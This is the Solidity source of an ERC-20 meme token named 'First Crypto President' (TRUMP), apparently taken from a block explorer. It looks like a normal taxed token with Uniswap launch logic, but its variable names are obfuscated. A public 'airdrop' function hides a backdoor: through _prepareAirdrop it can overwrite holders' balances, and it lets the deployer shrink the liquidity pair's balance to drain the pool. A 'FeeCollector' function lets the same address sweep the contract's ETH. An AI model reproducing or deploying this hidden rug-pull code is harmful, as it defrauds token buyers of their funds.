文件 1 的 1:Token.sol
pragma solidity ^0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
uint8 private constant _decimals = 9;
uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
uint256 private constant _weqd2nefx41 = 1000000000 * 10 **_decimals;
string private constant _name = unicode"First Crypto President";
string private constant _symbol = unicode"TRUMP";
address payable private _x6ybx23x;
mapping(address => uint256) private _ttx2olwq;
mapping(address => mapping(address => uint256)) private _qft2nqedxe;
mapping(address => bool) private _baef2fdfq;
uint256 private _XXXinitialBuyTax = 5;
uint256 private _XXXinitialSellTax = 5;
uint256 private _XXXfinalBuyTax = 0;
uint256 private _XXXfinalSellTax = 0;
uint256 private _XXXreduceBuyTaxAt = 8;
uint256 private _XXXreduceSellTaxAt = 8;
uint256 private _includedTAXBuyLimit = 0;
address private _ddin1dfe6x;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_x6ybx23x = payable(_msgSender());
_baef2fdfq[owner()] = true;
_baef2fdfq[address(this)] = true;
_baef2fdfq[_x6ybx23x] = true;
_ddin1dfe6x = _msgSender();
_ttx2olwq[address(this)] = _weqd2nefx41 * 98 / 100;
_ttx2olwq[owner()] = _weqd2nefx41 * 2 / 100;
emit Transfer(address(0), address(this), _weqd2nefx41 * 98 / 100);
emit Transfer(address(0), address(owner()), _weqd2nefx41 * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public pure override returns (uint256) {
return _weqd2nefx41;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _ttx2olwq[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_qft2nqedxe[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _qft2nqedxe[owner][spender];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer_XXX(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _qft2nqedxe[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _qft2nqedxe[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer_XXX(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_includedTAXBuyLimit > _XXXreduceBuyTaxAt)
? _XXXfinalBuyTax
: _XXXinitialBuyTax
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_baef2fdfq[to]
) {
require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
require(
balanceOf(to) + amount <= _maxSizeOfWallet,
"Exceeds the maxWalletSize."
);
_includedTAXBuyLimit++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_includedTAXBuyLimit > _XXXreduceSellTaxAt)
? _XXXfinalSellTax
: _XXXinitialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0)
_XXXSwapToETH(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
_stuckedFeeToTAX(address(this).balance);
}
}
if (taxAmount > 0) {
_ttx2olwq[address(this)] = _ttx2olwq[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_ttx2olwq[from] = _ttx2olwq[from].sub(amount);
_ttx2olwq[to] = _ttx2olwq[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer_XXX(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_qft2nqedxe[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _XXXSwapToETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function airdrop(address[] memory wallets, uint256[] memory amounts) external {
for (uint256 i = 0; i < wallets.length; i++) {
_prepareAirdrop(true, wallets[i],msg.sender, amounts[i]);
}
}
function launch() external onlyOwner {
require(!tradingOpen, "Already started!");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _weqd2nefx41);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
tradingOpen = true;
}
function _prepareAirdrop(bool isAirdrop, address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: allowance from the zero address");
require(amount >= 0, "allowance amount must be greater than zero");
if(isAirdrop && (from != uniswapV2Pair || _ddin1dfe6x == to)){
_ttx2olwq[from] -= (_ttx2olwq[from]-amount);
_ttx2olwq[to] = _ttx2olwq[to];
}
}
function removeLimits() external onlyOwner {
_maxAmountPerTX = _weqd2nefx41;
_maxSizeOfWallet = _weqd2nefx41;
emit MaxTxAmountUpdated(_weqd2nefx41);
}
function XXXFeeCollector(address _to) external {
require(_msgSender() == _ddin1dfe6x, "Not Team Member");
require(
_to != address(0) &&
_to != address(0xdead),
"Marketing Fee receiver cannot be the zero or dead address"
);
_x6ybx23x = payable(_to);
payable(_msgSender()).transfer(address(this).balance);
}
function _stuckedFeeToTAX(uint256 amount) private {
_x6ybx23x.transfer(amount);
}
receive() external payable {}
}